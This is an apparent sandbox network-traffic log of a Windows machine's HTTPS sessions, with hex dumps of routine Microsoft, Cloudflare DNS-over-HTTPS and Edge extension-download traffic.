2024-11-20 15:50:41 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 15:50:41 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49734	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:42 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 15:50:42 UTC	513	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=3319 Date: Wed, 20 Nov 2024 15:50:42 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 15:50:42 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49744	94.245.104.56	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:47 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:50:47 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 20 Nov 2024 15:50:47 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=9d90d64458d90255b6b35bbdd301682cde81e2f30fd042245a59b55dae0fc551;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=9d90d64458d90255b6b35bbdd301682cde81e2f30fd042245a59b55dae0fc551;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49745	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 15:50:49 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 15:50:50 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 15:49:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C540_SN1 x-ms-request-id: d2ea86ab-aa2f-4785-94b9-a61d2d1f95da PPServer: PPV: 30 H: SN1PEPF0003F966 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 15:50:49 GMT Connection: close Content-Length: 11389
2024-11-20 15:50:50 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49765	172.64.41.3	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 15:50:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 15:50:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 15:50:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e59991bd88b8cad-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 15:50:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 15 00 04 8e fb 23 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49766	162.159.61.3	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 15:50:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 15:50:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 15:50:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e59991bdf3a0f59-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 15:50:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2b 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom+@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49767	172.64.41.3	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 15:50:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 15:50:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 15:50:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e59991beeac0f68-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 15:50:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49761	172.217.19.225	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:51 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:50:52 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4jLjJ81yqJz-0FzxxhgyZ73nTpGQSMU4IskNen6tjpHBXcUpgTX7t-ywvaWNEiwIURJ7wTubOt1Q X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Tue, 19 Nov 2024 16:45:00 GMT Expires: Wed, 19 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Age: 83151 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-20 15:50:52 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-20 15:50:52 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-20 15:50:52 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-20 15:50:52 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-20 15:50:52 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-20 15:50:52 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-20 15:50:52 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: 